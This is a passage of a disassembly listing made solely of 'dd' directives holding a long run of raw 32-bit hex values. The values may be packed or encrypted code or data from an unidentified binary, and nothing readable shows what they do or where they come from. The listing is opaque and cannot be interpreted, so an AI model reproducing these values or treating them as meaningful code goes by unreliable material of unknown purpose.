		dd 2407A422h, 4E72E088h, 0A2911816h, 7ECD6A29h,	933CAA52h
		dd 0F18B1360h, 0B8EDB49h, 0BB347F00h, 4AB49A42h, 0E9CF7736h
		dd 8E076F7Bh, 0ACC02A10h, 7DE6A9FBh, 16006895h,	0CCEh
		dd 2BEA026Ah, 0DCCD645h, 0EDACBA27h, 0C9889E07h, 0A66579E3h
		dd 0C52F7F16h, 0A00CF2B1h, 7DEBD190h, 61CCB271h, 5E06904Fh
		dd 1C9BA3F0h, 0E5B04991h, 16D5E953h, 0BB3C530h,	0A426A624h
		dd 41BFB251h, 899CB782h, 230F7D25h, 791176Eh, 67B8268Eh
		dd 5B850953h, 0AA3C69C5h, 7CE0224Dh, 0D0h, 0D6E853B1h
		dd 0A1E886Eh, 4B577B62h, 65923B03h, 9B03137Fh, 0CE3CA422h
		dd 8B10864Ch, 0DD9CAE19h, 127A8CF7h, 52FAD675h,	479402AAh
		dd 0ED8B107Ch, 6488F674h, 0B89117ACh, 40E3803Fh, 0AE1CC46Ch
		dd 85094C61h, 0CE9594C3h, 16B934F7h, 9771F9Dh, 8B12764Fh
		dd 0C8AE56CFh, 0A58B4A5Eh, 2A76273Bh, 7957D02h,	0C04B59Fh
		dd 0CC340000h, 0A00FF5B4h, 84F1D796h, 68D1B776h, 43AD9352h
		dd 0B5E0702Fh, 0BC7B8FF9h, 9B5A6AD6h, 7C3B47B5h, 5A192B96h
		dd 6DBA28D0h, 13911C9Bh, 0E991AF7Ah, 18869803h,	8B1060CBh
		dd 947AF871h, 9401E72Ah, 37A51E86h, 8B1060EAh, 0F69E1790h
		dd 885FB20Fh, 17951763h, 60CAB058h, 7DE8CE4Ch, 71DDC36Bh
		dd 5924E361h, 2ED6E853h, 0ABA66747h, 34B29F36h,	697BE6CCh
		dd 923E0DAAh, 15FC03EAh, 0AEC422B6h, 0FAE08830h, 9B147C90h
		dd 3E87AF1Dh, 6AE39118h, 3C439402h, 0A137850Ah,	624E208Dh
		dd 9379E023h, 38B11925h, 13F9BAh, 4F2E0000h, 892h, 0DA53C1A7h
		dd 7DF65E6Eh, 0A5239C04h, 25899CDAh, 81130F7Dh,	9E179117h
		dd 0D3E55036h, 0B1C32E14h, 77BAA149h, 2937A4D8h, 7231CE42h
		dd 855F86F4h, 27CFEC4Ch, 0B7578340h, 0F87600E2h, 0D8BFCC62h
		dd 2C96F234h, 0F2957C32h, 25EDD091h, 0E44F35B3h, 0C22D13D2h
		dd 0B72208B0h, 0BCDEBEA5h, 5ED6220Ch, 0BA0A78E0h, 961DC43Eh
		dd 0A8132200h, 32263028h, 7FF84F70h, 0C83218C0h, 55D34CB4h
		dd 55C3046Fh, 1DC3C508h, 54BC35AEh, 0C3C592E6h,	52F0861Dh
		dd 0C7869803h, 0FC6476E1h, 38E0CC5Fh, 0CAE03ECAh, 2AE96223h
		dd 0DD7080C6h, 0AFDB49F1h, 131DC3BFh, 9E0CF29Ah, 3040AC92h
		dd 4AD14FC8h, 0C6767EDCh, 0F15B41EFh, 63C25FDDh, 0FD39A74Fh
		dd 8139ABC3h, 2003A008h, 1976E48Ch, 0DF33A814h,	3016BE66h
		dd 5137B5C3h, 2F15D4E6h, 0CAD845C4h, 0D02A051h,	6FD73E11h
		dd 0A5985h, 5F77DF00h, 414BBAA0h, 212F9C82h, 0FD137C62h
		dd 0DAEE583Eh, 0A40A8B1Bh, 8167263Ah, 60460515h, 4127E6F2h
		dd 7B05C4D6h, 9D1865D3h, 25BE911Ch, 0D6E8535Ah,	8E3B6D25h
		dd 0D2BC24A1h, 0A1Ah, 0DF9EB61Eh, 0C1808AF9h, 0A1606EDBh
		dd 7D3C52BBh, 5A192D97h, 79E3CBCAh, 54C0A665h, 319F8544h
		dd 15806625h, 12BA4403h, 1C9D57A4h, 9964FD91h, 313DAB91h
		dd 0ECD250C9h, 5F076F81h, 5DCB1079h, 8B106010h,	46C43DB6h
		dd 23E2F660h, 0DA6979BFh, 0FF684EF6h, 55C36BE9h, 91177529h
		dd 856C148Dh, 0BF81ACC1h, 0DC63E129h, 0C6B3E26Eh, 95390C46h
		dd 10437FEDh, 4EC7C953h, 28963EE6h, 0BD44F0DBh,	0ED8A0881h
		dd 5CCA725Eh, 0C34F60FFh, 0BEA44CC5h, 9C824153h, 0C46E1F31h
		dd 65CDB859h, 97813FDh,	58C00000h, 2C9B8140h, 107D6322h
		dd 0F45D4302h, 0CF391FDEh, 296CFCBBh, 48071B85h, 27E6F662h
		dd 8C7D341h, 0E6A5B722h, 0F946B45Ch, 9F911C9Dh,	0E8533B06h
		dd 0DC482ED6h, 0C27D64CCh, 0CFF870D1h, 99017FF8h, 7A3945B3h
		dd 10B31F0Ch, 27380B8Bh, 0CB44ACBAh, 57C4AA52h,	0C068E149h
		dd 10B20552h, 0B432AB8Bh, 0EB479E0Ch, 5901911Ch, 4799EEBh
		dd 0F0BB0085h, 3E6A3A6Fh, 1A9229Bh, 0F8067359h,	0B3991790h
		dd 0A88E3648h, 0F0AF2D3Bh, 258D9F0Ah, 0EA54D53Fh, 0C198668h
		dd 61DA3F9Eh, 0F2D880E8h, 909E0B84h, 45B39917h,	0AE048839h
		dd 29919B82h, 8C53Fh, 0F30B7300h, 0D5DF4E34h, 0B5C33016h
		dd 91A710F6h, 6E82ECD2h, 38761FAFh, 15FBBACEh, 0F4DA99A9h
		dd 0D5BB7A86h, 0F99586Ah, 9FACF967h, 0B952911Ch, 0D6E853EEh
		dd 9E1D886Eh, 3FB82034h, 55EB5EC6h, 58C6ACF9h, 7DE8CE4Ch
		dd 70DDC36Bh, 9D25E462h, 19DABECDh, 5ADDDh, 899C1200h
		dd 0B80F7D25h, 6D911C99h, 4B158786h, 3EBD1975h,	18F3DA53h
		dd 615B2BCh, 1C959C2Dh,	98225A3h, 0FE107B61h, 2D81A23Fh
		dd 0DA5557C5h, 3ABFE6Fh, 0E2ABF81Ch, 0ED6BF085h, 38CAFB57h
		dd 23995C79h, 2BC00D7Bh, 0ED660B97h, 43AE6Fh, 5E060000h
		dd 972BA3F0h, 52D0490Bh, 278B9C87h, 82F1D77Fh, 0D809120Ah
		dd 67E0C910h, 118B5980h, 50CE268Ah, 106E95E2h, 5AC23B8Bh
		dd 77D0DFECh, 99B54BABh, 42165A2Ch, 76CC6h, 4FA10000h
		dd 28Ah, 0B8899C84h, 5561CF4Ch,	0D5BB63DCh, 8755B67h, 66D47CFAh
		dd 911C9977h, 0FE4BB961h, 0A4850425h, 0CA4351BEh, 2B7BE951h
		dd 20850426h, 53F2B48Ah, 0C12FD77Fh, 85042674h,	265AA715h
		dd 87008504h, 45ED6BE4h, 0A10FF59Dh, 46B42D95h,	850425F9h
		dd 3AA8269Fh, 8B105F4Bh, 55FDBC35h, 8AF2046Fh, 43AD9311h
		dd 33A1872Fh, 0C63F4DBAh, 90FAE048h, 0F187147Ch, 26A8125Dh
		dd 57B5E77h, 0B5EDAD2Ah, 0CF42846Bh, 664DF56Eh,	0D61B8C97h
		dd 0F5B432FAh, 2B93A30Fh, 61C9D945h, 94FC127Bh,	0CB3341AEh
		dd 288AA83Eh, 1E29059Bh, 0BAC835B2h, 0A160D952h, 0F787FC33h
		dd 0B9C5337Eh, 97A914FAh, 8B9C642Fh, 0D9414BBAh, 973FE760h
		dd 1060DC29h, 6D9B828Bh, 1CB75559h, 0EF8A0881h,	68D9D09h
		dd 0FB48B65Eh, 0A18B10E6h, 0E73E8BF9h, 6BE48B10h, 929E0CF2h
		dd 4D33B12Ah, 0EBF564E1h, 0F6910A83h, 90FEA64Eh, 8B10E743h
		dd 0B50270E9h, 5B8B10E7h, 7F91FCE2h, 289E9D01h,	86F2D880h
		dd 0E7BB0876h, 0E8618B10h, 2D7ED46Ah, 3C51FE46h, 0C4DD0BADh
		dd 0BBDA4C1h, 9F27A558h, 19DAE7CFh, 3DDDFh, 0E9531400h
		dd 0B6462DD5h, 0A426F4D1h, 0E84CB432h, 0B5891FE2h
		dd 869602E8h, 4127A51Eh, 0D9EB56D7h, 51BBA160h,	50BCA23Dh
		dd 26BCA540h, 51D33D08h, 0B77A9120h, 0BB29D102h, 8B10826Eh
		dd 7A229B14h, 821764D2h, 107A8B10h, 781B94FCh, 14FA81FFh
		dd 0ADFA68A9h, 108B1082h, 4AF295A3h, 10828FDCh,	43BC358Bh
		dd 0A4F462CAh, 998B1082h, 0B5202F03h, 9514FBA3h, 78397528h
		dd 240AC947h, 9A42AAB6h, 513848B4h, 6D1591BDh, 0CF3DBB66h
		dd 8B112D7Fh, 0E671CD63h, 0DDC46C78h, 0FA8ED31Ch, 0F9B836B1h
		dd 10DEB28Bh, 73129A8Bh, 5319DADFh, 0FFFFFED2h,	0D6E85388h
		dd 46C63117h, 922C2DEEh, 2D950E0Fh, 10726FBFh, 70CE648Bh
		dd 0A9687AE5h, 6AD859C3h, 0DBD0775Eh, 54084C72h, 210573DBh
		dd 3B5B84ABh, 343EAD93h, 6A7AE6CCh, 41DD73F1h, 57B6B254h
		dd 58C7AD36h, 530FD04Eh, 44000000h, 7D25899Ch, 1C9A200Fh
		dd 29910A91h, 4276FBBh,	5662D085h, 0A2107EEh, 4D986BE1h
		dd 80E8FE67h, 0D5F74BE1h, 5F4CE278h, 0E0293F8Fh, 1B9Fh
		dd 4ECBD400h, 118B106Bh, 442A92A8h, 0D54EC7D9h,	0FFFD84EBh
		dd 74F20FFh, 84000000h,	2914Fh,	0E8538400h, 1D886ED6h
		dd 0BD252F9Eh, 6F0CCB44h, 81683DCh, 3979E78Fh, 0C5911762h
		dd 2576E44Ch, 1985095Eh, 6CFEAF83h, 3EE02244h, 42h, 3642B096h
		dd 5927094Fh, 3DBBAFE5h, 25899C72h, 6E230F7Dh, 8E079117h
		dd 5367B826h, 0B35B8509h, 0D14F63CDh, 0D4B6E73Bh, 0FE0224Dh
		dd 74058067h, 577AB9BDh, 9199CE9h, 4BC94285h, 0E88Ah, 0AA91BF00h
		dd 96EEE9E4h, 0A8BA25AFh, 0D04EC740h, 56D7FEAh,	0CB34B51Fh
		dd 5BD44DB5h, 0DCFECCB3h, 0F295364Ch, 0BB260C74h, 0F05B41A9h
		dd 7CF50571h, 0FF6D15BDh, 8B107FB2h, 8DF9DF58h,	1E9C157Dh
		dd 10842EB0h, 7E90FB8Bh, 0AF0322BFh, 225D9907h,	0F5DC911Ah
		dd 39B96119h, 63496104h, 0C6E3482Fh, 56DB5427h,	9710D740h
		dd 55FD7619h, 49F1056Fh, 0D9566262h, 7DF65E6Ch,	3F69F196h
		dd 735A02C1h, 4C60E6C2h, 428FFD37h, 0E88506CDh,	9278F66Fh
		dd 0CD631428h, 4C9B84A7h, 444FAE4h, 8CF40000h, 60CFB574h
		dd 44B19756h, 28917736h, 36D5312h, 0F5A030EFh, 7C3B4FB9h
		dd 5B1A2A96h, 3CFB0775h, 1AD9EB56h, 2D7AE890h, 0D3911CA3h
		dd 0E9916F3Ah, 10602E7Bh, 0DD5BD48Bh, 0BA798DF7h, 0BA2869D4h
		dd 8B10606Dh, 62219A13h, 0D6E85397h, 9E1D886Eh,	3FB82034h
		dd 0DB6A07C6h, 0CD860589h, 0D0B685FAh, 72EB5365h, 57E351F9h
		dd 7B911816h, 0BF29A02h, 962C725Eh, 269412A7h, 85096CD7h
		dd 0B52309B1h, 0B9952BA9h, 0D07854F7h, 9F74128h, 0E166672Bh
		dd 3969F563h, 148D8B11h, 1F05AD55h, 0EA37A5B1h,	907F0303h
		dd 29FC9917h, 186FDD85h, 0D2850F3Ch, 66E82ECh, 866C148Dh
		dd 0BB630B19h, 0F6CA004Dh, 462DA678h, 484EBD0Ch, 0CB8A08E0h
		dd 0F722165Dh, 0F3FF6D78h, 684A34h, 0CB7F0000h,	8B10607Ah
		dd 0F8B7132Eh, 2F97A512h, 106074C1h, 6047EF8Bh,	0D3C0524Ah
		dd 61F7752Ch, 71582CDh,	8AF8A048h, 8B10E73Dh, 2C836AE3h
		dd 46DCE64Ah, 0FA684ECCh, 9D051581h, 0C3D13E24h, 169E25Bh
		dd 113D4393h, 0BD91278Bh, 220944B2h, 0A112F918h, 2C79E7C9h
		dd 0D28B1139h, 0F6087359h, 83EFD57Dh, 14920B73h, 0AA918A55h
		dd 87DBE2CFh, 0FDE36170h, 0F4DB838Fh, 2C37EF9Bh, 0D0E64FF4h
		dd 8B71D957h, 36A9111Dh, 45B382A0h, 410C7A39h, 0DE8B10B3h
		dd 108C2370h, 79E3C98Bh, 0EB73EC65h, 19DA9618h,	0FFFF5A2Ch
		dd 0AA9161FFh, 7974456Eh, 23098748h, 583EA6B8h,	7F1CDBEDh
		dd 329A92ACh, 10F70371h, 0A61F26D9h, 698617FEh,	4F2F516Ch
		dd 0C6424468h, 86046854h, 0AC3070DEh, 43BC9117h, 0DF4D33DBh
		dd 0BF26BD3h, 28194B9h,	3AA826B1h, 850A50E9h, 0BAEB47DDh
		dd 0E0234B28h, 3BFAh, 0FE6C5200h, 590855C3h, 35AE850Ah
		dd 5DDB54BCh, 25899C92h, 1B2B977Dh, 9B87F59Dh, 7F91176Dh
		dd 0DF309E06h, 0D3850952h, 0CBD7452Bh, 0D66CEA63h, 4CBB4B78h
		dd 0F08BE022h, 0C0000000h, 2ED6E853h, 60CB1886h, 0F8718B10h
		dd 0C22C127Ah, 0B89E46AEh, 5CD53D4Bh, 7B8DF8DEh, 580EDD3h
		dd 650D869Ch, 1060AAF7h, 59D7508Bh, 5FA00BF1h, 1060A4F1h
		dd 0F6644A8Bh, 698A71EAh, 6E153186h, 0F563229Bh, 8B112873h
		dd 1B2D987Eh, 0D6BC3AB3h, 0CBB1596Bh, 6979E55Ch, 0A70F8801h
		dd 0BF1B02Eh, 3EE68EA0h, 111E83D0h, 687CE68Bh, 66CE4CC5h
		dd 0AE567AC9h, 18419840h, 9F0EF491h, 3BB42D95h,	0F24CDF7Ch
		dd 0D19D0405h, 0E6F6C16Bh, 2FFDB12Ch, 27953DB6h, 8B13C1E5h
		dd 6E54FC75h, 4B31F004h, 8C1CCDE1h, 11957E46h, 180BFA9h
		dd 50B80000h, 24937938h, 8755B1Ah, 0EC553BFAh, 0C73117D6h
		dd 3164F4B3h, 40FF137Dh, 1FDEEE5Ah, 0BFCB39h, 0DE9DAF1Ah
		dd 0F13EAC54h, 97911CA5h, 0E95333FEh, 81E9FF68h, 0A41D319Bh
		dd 1B866C2Bh, 9C7F4A09h, 967D2589h, 9F8CE4AEh, 0B35BD951h
		dd 183E5945h, 5CC43D91h, 0A239DEEh, 27FB9185h, 237D9476h
		dd 90B6E0h, 53EB0000h, 886ED6E8h, 34A20A1Eh, 8B1065B2h
		dd 2A94147Fh, 9E010827h, 19FFBE37h, 97349CAEh, 27018B4h
		dd 9117185Ah, 5563D0B6h, 3CFB74EDh, 78208C9Fh, 0AC142892h
		dd 9F0DB533h, 8B1278FEh, 0E8FC664Ch, 77E1C76Fh,	54BEA463h
		dd 3AD8F40h, 44AC957Dh,	0C15Ah,	0F70F7700h, 0D9E35238h
		dd 0B9C7341Ah, 95AB14FAh, 7286F0D6h, 3C7223B3h,	19FFBED2h
		dd 0F8DE9DADh, 0D9BF7E8Ah, 139D5C6Eh, 0A7B0FD6Bh, 0BD56911Ch
		dd 0D5E953F2h, 0B3C53016h, 0E85329F4h, 0DFC66ED6h, 0B150FFDAh
		dd 13F977ABh, 3AD796A8h, 771FC7EBh, 661461CFh, 41BA8B10h
		dd 9F6255C3h, 0DB54911Ch, 67DE4D33h, 0B84ECFAh,	0CBB12A92h
		dd 6AD2505Eh, 5F071984h, 2BFC49B7h, 29A28504h, 9B06ECABh
		dd 6FB32189h, 19E7831Fh, 35A0AF83h, 53394BB6h, 0A261DAE4h
		dd 0D73F51BCh, 0A7288F1h, 0BD88A63Ch, 0D9814052h, 3976C331h
		dd 0A31C2285h, 0C2D43F25h, 0C67331Ah, 66633A83h, 39680E8h
		dd 0CB000000h, 0EB53F4BFh, 1A856BD3h, 4CBAA008h, 86F2D840h
		dd 0BE280E76h, 0F25C42AAh, 279076DEh, 56C3A911h, 8BFAE048h
		dd 50B31981h, 4055854h,	83000000h, 48704E8h, 0A1685C24h
		dd 89000002h, 8952242Ch, 4C281E2h, 83000000h, 148704EAh
		dd 4895C24h, 0BD555124h, 3D203AEEh, 1DC58145h, 0C13EA714h
		dd 0E58102E5h, 219F0B82h, 0AE76ED81h, 0E989A6FAh, 81D9F75Dh
		dd 0D16CB1E9h, 59CD897Fh, 24048B54h, 8104C483h,	4ECh, 242C8900h
		dd 0FF08408Fh, 81582434h, 4C4h,	2434FF00h, 4C4815Dh, 0E9000000h
		dd 0FFFBFB6Ch, 0DC147BD1h, 0F1853425h, 0FA84A50Ah, 0AB81C7Eh
		dd 3060C48h, 89E0FFC5h,	1038514Bh, 6B416A24h, 23176902h
		dd 0B0161AB9h, 6344D072h, 3C03AE2Ah, 6468D6BEh,	0AC576A09h
		dd 0A8443649h, 0F1127915h, 57715CC0h, 7A050E3Bh, 9046DFA4h
		dd 253CF5F7h, 0E00DECCCh, 27526468h, 157208FEh,	9750145Bh
		dd 0E772DDCFh, 0E866D179h, 10h,	5CEFF6FCh, 0FF1DAAC4h
		dd 7EF4AE47h, 5A762F56h, 0AE8h,	0BE308A00h, 0FA1219D1h
		dd 0E9D667FCh, 5, 96112EDBh, 0BF585BD7h, 6BCC03F1h, 6787C081h
		dd 680000h, 0E9000000h,	10h, 90E1C10Fh,	0DFB64522h, 702072B2h
		dd 0AE43861Fh, 0CB816659h, 34FF8695h, 2CBF6601h, 8E0F5E0Ah
		dd 27h
		dd 0BE8h, 0E9F1E200h, 0DCEADCA3h, 0DD061A3h, 11E9h, 9F912700h
		dd 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh, 815AA467h, 0B4C615EEh
		dd 68C68137h, 0E9288130h, 7, 0AD66B2ABh, 8195F45Bh, 2598E9F6h
		dd 3B73BB5Fh, 0F95610BEh, 0B708048Fh, 0D0B70F0Fh, 8B03E983h
		dd 8B6649F9h, 70F981D1h, 0FFFFF99h, 1385h, 0E9D38B00h
		dd 27h,	7301EB40h, 0E897C061h, 0CF76CA2Ah, 712773BBh, 0FF6CE904h
		dd 0DA35FFFFh, 0A1583351h, 71B43060h, 795305D9h, 8DE24DDAh
		dd 0C4B0D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0BBDE89B9h, 81AD1DE0h, 17D852E2h
		dd 0E7D88065h, 0A018D89h, 8F0F0607h, 15h, 10E9h, 0EC037300h
		dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0A585C7D3h,	58060714h
		dd 89000068h, 70F91BDh,	0FE8B6606h, 2FD585C7h, 607h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0B9702AC3h, 222CF7A1h, 12E849C9h, 54000000h,	73F6361h
		dd 9E92CC89h, 0DB354FD7h, 0B0EDA56Dh, 2890F4Dh,	51000000h
		dd 0B5FF585Eh, 60719D5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0ACC35242h, 27BE0EE3h, 8CBA6A13h, 0C9858B72h
		dd 80060711h, 0F4BE2BEBh, 0FF3F3469h, 71C1995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F59D8B88h, 6A06070Bh, 6995FF00h, 8B06071Bh,	607FEBC0h
		dd 0FF689B12h, 0FE6CCBF8h, 237DC36Ch, 9095CE2h,	0B94A35BCh
		dd 25A7499Bh, 769B30EDh, 0A0F4883Eh, 5E0DE1B4h,	12156801h
		dd 4980E47Eh, 59E9172Eh, 0BBC302D3h, 0B0363D97h, 0A4918A7Ch
		dd 9F4206BAh, 5118B489h, 665D00E1h, 0FB96606h, 27AB5D4Fh
		dd 9D123A36h, 1D770E8h,	2CAAEDA7h, 44DB8667h, 9A38EBC9h
		dd 4A072A2Fh, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch,	6A6D1EC6h
		dd 69CB23B4h, 4EBA43Bh,	75E2E1AAh, 4FDE9h, 22CA7700h, 28B678D6h
		dd 2FB57EDCh, 33D985E3h, 3EC289E7h, 0A6E708F2h,	0A70551DFh
		dd 0AB0955DFh, 0B5135FE5h, 0A71A66F2h, 2CDE5D2Ch, 0A07FF000h
		dd 8C18DBBCh, 14E35ED9h, 0F60C6721h, 0DA38EE3Eh, 0E3418D13h
		dd 83E19420h, 238134C0h, 5AD9A861h, 3F60C67h, 18F55B3h
		dd 0FBAEFE4Eh, 7B46E083h, 0EEB12CB8h, 0F727ABDCh, 0EF3BF137h
		dd 0F945CB91h, 9C4FD59Bh, 67C5763Eh, 0F447169Eh, 69F60C06h
		dd 8216C919h, 7EBD8C07h, 0F6F60C06h, 3EE7EDACh,	82D2AC44h
		dd 0F1CDA6BFh, 0AF65769Fh, 0E1A7320Ch, 0E6A90753h, 68D8A75Ah
		dd 0F60C55h, 5E7B2785h,	310212F1h, 0C72575E9h, 1DC076FEh
		dd 5B47605h, 57F493C4h,	10000000h, 0AB460BEh, 0A95FE5ACh
		dd 49FC884Bh, 0C67B97Ah, 2802A5F6h, 0C32E995Bh,	0AD993h
		dd 9B5E0000h, 71131384h, 0FDE19701h, 0D88B19DBh, 772AB87Ah
		dd 1CCF6D19h, 9C2901A4h, 0F0763EDAh, 229DED3Dh,	0BD84AA5Fh
		dd 602F749Ch, 0F60C4BDDh, 2CE23282h, 31BF82E0h,	14DB01E5h
		dd 62C3BC82h, 4476B501h, 41F44494h, 14A268C6h, 0FD5B1161h
		dd 4BD99F3Bh, 45F84898h, 7B46E083h, 86E430B4h, 248235C3h
		dd 0D51ED15Bh, 52B01832h, 0FF4F0290h, 0A8F7A949h, 593793C3h
		dd 0BC000000h, 590CB25Eh, 0DB6F5309h, 7FDD9014h, 55B32EB6h
		dd 9D500692h, 1DA88225h, 207ECA56h, 0BA18CB59h,	89C620Eh
		dd 0B101B442h, 155E1161h, 19CBD872h, 5993C32Dh,	43h, 9014DB75h
		dd 2BB97FDDh, 0D76635B0h, 88F60C67h, 0F2CF8238h, 6FCDF74Fh
		dd 9671DA7h, 8E72BE42h,	0D88B19DBh, 0C672709h, 5BE9ACF6h
		dd 0FC824AA8h, 102ACD49h, 0C159FCD3h, 0C32EF0B2h, 13093h
		dd 0DB4C0000h, 0B10F8A12h, 5FAF62EEh, 672615E4h, 0E737F60Ch
		dd 5D207E31h, 0FBBE1CCFh, 0E83F97FAh, 0D1217769h, 6EF8C01Eh
		dd 9B9CF8BBh, 9E865C7Bh, 28A77F22h, 4B561994h, 78918C94h
		dd 0D0043706h, 959F60Ch, 0C66003B9h, 5EAA32FBh,	9A9968E3h
		dd 0C3F60CD0h, 0F0CEBD73h, 822EFD78h, 0D3FC1327h, 0AF72D083h
		dd 71C14B13h, 504C725h,	0F5F0C9A5h, 92459572h, 0B2A72C3h
		dd 0EE69E4F0h, 0B2A1C1Fh, 3BF141F0h, 7033BE98h,	773A98E4h
		dd 5DBB36E9h, 0B5B0E9Ah, 0A834F755h, 0B69033F5h, 90DC682Bh
		dd 0CA7C2EF0h, 14A6E99h, 0BE8A0000h, 9339E543h,	0C6771C4h
		dd 0E89EEEF6h, 28A3C5F9h, 13862759h, 0C54090FCh, 44D3302h
		dd 0C67CCF46h, 66F2B513h, 6BF9BC1Ah, 9975AB8h, 59F19456h
		dd 0C03BC98Ch, 62090FFDh, 742AB3B4h, 0BAC68828h, 590699CAh
		dd 22000000h, 7EF98D4Ah, 0C683CAFh, 9665E0F6h, 0F60C67A7h
		dd 0D8B268B8h, 0FC5AD588h, 29F8AE50h, 0F60C670Ah, 0CC7F0DCFh
		dd 6619A76Eh, 67191CEBh, 0F646F60Ch, 11DC7619h,	0F874C448h
		dd 785FFD55h, 8935930Eh, 0E3B22DE3h, 0F60C68E0h, 10965EBCh
		dd 7D570D5Dh, 0A98BE12Dh, 0A7000000h, 79F4744Ah, 13883AAAh
		dd 0B83383FCh, 47CF6E3Dh, 4090F00Bh, 0E15CD78Ah, 0B472312h
		dd 36EC3CF0h, 3B8715D8h, 0DB8E1ADDh, 8D560260h,	0B477FBEh
		dd 4090E0F0h, 4877BB8Ah, 5ED9F00Bh, 9A9968E3h, 0C3F00B47h
		dd 4791A473h, 7ECEF00Bh, 0C00D25C8h, 34236FFDh,	9463DE8Ah
		dd 0FA1F93D2h, 0C624D727h, 7FFA7503h, 70C8DB0h,	2482D2F6h
		dd 691CD25Ch, 8BB490Bh,	0A75AE8AAh, 0CDE5D2Ch, 2F7FF607h
		dd 0B93610B3h, 8CA88225h, 5DBB3632h, 0A5A0D9Bh,	580AD954h
		dd 0A1FC13D8h, 0A8F87C43h, 9766E15Ch, 0F00B47A4h, 0CFB369B9h
		dd 79F4744Ah, 18B3F8AAh, 1BE341FCh, 0E131BB83h,	0CC9B1691h
		dd 0F0002C69h, 4A24AA72h, 169144FAh, 0B066F0B8h, 0B5018F52h
		dd 8D089457h, 0D23881CAh, 50DE03ADh, 1C48A325h,	1B46ABAh
		dd 0F78DF332h, 330BAE6Fh, 955E3A6h, 0E15CE8ABh,	87BEBB83h
		dd 0A56AD018h, 0BD0DC010h, 16D95407h, 295D193Ah, 9BF9AFC1h
		dd 69A4DEFh, 3BFECB63h,	0FD4DD79Fh, 11D836B1h, 0FA390883h
		dd 6383EE98h, 3CFF5D13h, 0D954DAA2h, 0EE982B0Ah, 94E43483h
		dd 88BE1h, 4DA70000h, 24B274D2h, 2EDB8A6Eh, 0BA7DDB8Eh
		dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h,	0E995F3A6h
		dd 69329043h, 10D230E3h, 687ECF82h, 5511h, 50243C89h, 405E089h
		dd 83000000h, 48704E8h,	2C895C24h, 70146824h, 0C890000h
		dd 7CBB5324h, 0BD788864h, 8D83E720h, 7228ED81h,	0DD0105F3h
		dd 7228C581h, 545B05F3h, 81240C8Bh, 4C4h, 0EA895200h, 8418F52h
		dd 2434FF5Ah, 4C48159h,	8B000000h, 8951242Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 0EEE95C24h, 10FFFB2Bh,	26B8C08Ch
		dd 3060C50h, 0BDE0FFC5h, 0DB306854h, 1509588Bh,	635E3CFFh
		dd 0D3268D3Bh, 0CC024851h, 5C47181Eh, 0EB757E41h, 60h
		dd 17h dup(0)
		dd 0B11E900h, 5E90000h,	6800000Bh, 60C5912h, 0FB2B50E9h
		dd 5A5468FFh, 46E9060Ch, 68FFFB2Bh, 60C5ABFh, 0FB2B3CE9h
		dd 0D67623FFh, 0DC6A2C8Ah, 0E3693290h, 0EF8D3997h, 0F27E45A3h
		dd 629BBCA6h, 6BC9159Bh, 6FCD19A3h, 71CF1BA9h, 63D622AEh
		dd 361A19E8h, 6443F000h, 9C9F6EE9h, 0C1F00036h,	6215B763h
		dd 9E64C212h, 5F156518h, 5E13DB7Bh, 0C67AC8Fh, 0F24110F6h
		dd 6BF60C67h, 93F1411Bh, 429245E7h, 217F3FF2h, 7319C559h
		dd 0B679D723h, 138B84B7h, 0A5A0EA8h, 0E66A318Fh, 591F7D30h
		dd 0F2BA18CBh, 7B3EB96Ch, 0CAB94DCh, 0DA38EE1Bh, 29D37F13h
		dd 7408B376h, 0E8142287h, 1A954898h, 256DD09Fh,	94F2F60Ch
		dd 3DF343D1h, 926118DFh, 0F60C25A3h, 691C6CBCh,	3EC890EEh
		dd 0E07E2A88h, 0B3410765h, 47FAB000h, 0E99C20E9h, 0B210C98Bh
		dd 5FAF62F0h, 0C25AD90h, 1262B2F6h, 1A4E705Fh, 0FA2DD09Fh
		dd 62B2FC18h, 39C789E7h, 99F772EDh, 0BF7E4DD3h,	1CF00075h
		dd 0A6F6D056h, 0AFB901F0h, 75D26534h, 0C083F000h, 5BC07B77h
		dd 1CCF1F53h, 216DFBBEh, 8C18DB3Dh, 74C79611h, 0E9F60C67h
		dd 8639C38Bh, 4C30E636h, 0B9960BEh, 9F520858h, 0FA8E4ABBh
		dd 9909ED16h, 96C322E7h, 92B6C2Fh, 0F0056A5Ch, 2DB73Ah
		dd 4AD30000h, 0BE16FA8Eh, 0C674CEFh, 0DDC111F6h, 0F9C843BEh
		dd 0F60C673Ah, 391DD323h, 0B21819DBh, 8EEBE568h, 90654999h
		dd 2DE3ACh, 4AFF0000h, 0BC7FFA8Eh, 60F2BFA5h, 8C70264Dh
		dd 48043BEh, 3F1A533Ah,	82BFAB0h, 0C5F60C1Ah, 63169E67h
		dd 0BEDFC313h, 8B19DBDAh, 4AAC90A7h, 971DE674h,	38BE86E4h
		dd 0A21D98E8h, 41F48244h, 0CC6C3BF1h, 99FC1371h, 78C79649h
		dd 7EF00B6Dh, 0DE5943DBh, 0B6D2C0Fh, 2BE131F0h,	0CA38C98Bh
		dd 1A30999h, 4A250000h,	0AE7DF870h, 0F60C6877h,	5AD588D8h
		dd 603D36FCh, 25D7B318h, 0D626D929h, 7026B078h,	75C14F12h
		dd 1918DB91h, 0D1FBD168h, 4E76A402h, 64339EF9h,	77095114h
		dd 6F9FCB4Ch, 0A2863B1Fh, 16FA8E4Ah, 0E79909EDh, 2796C322h
		dd 42h,	0FD8B4EACh, 86D4353Ah, 0D187FB43h, 0FA8E4AEDh
		dd 4CEFBE16h, 11F60C67h, 3FFD04Eh, 0ABFBEFC5h, 30FBBEC7h
		dd 0D2BDFFD7h, 0E6CA45FBh, 0A78B19DBh, 2DE3AC90h, 68000000h
		dd 0E9AB470Ah, 8580B5Bh, 8E4A6E52h, 0EFBE16FAh,	0F60C674Ch
		dd 0BE4D3181h, 8B19DBDAh, 0B460BEA7h, 672D10DFh, 0E232F60Ch
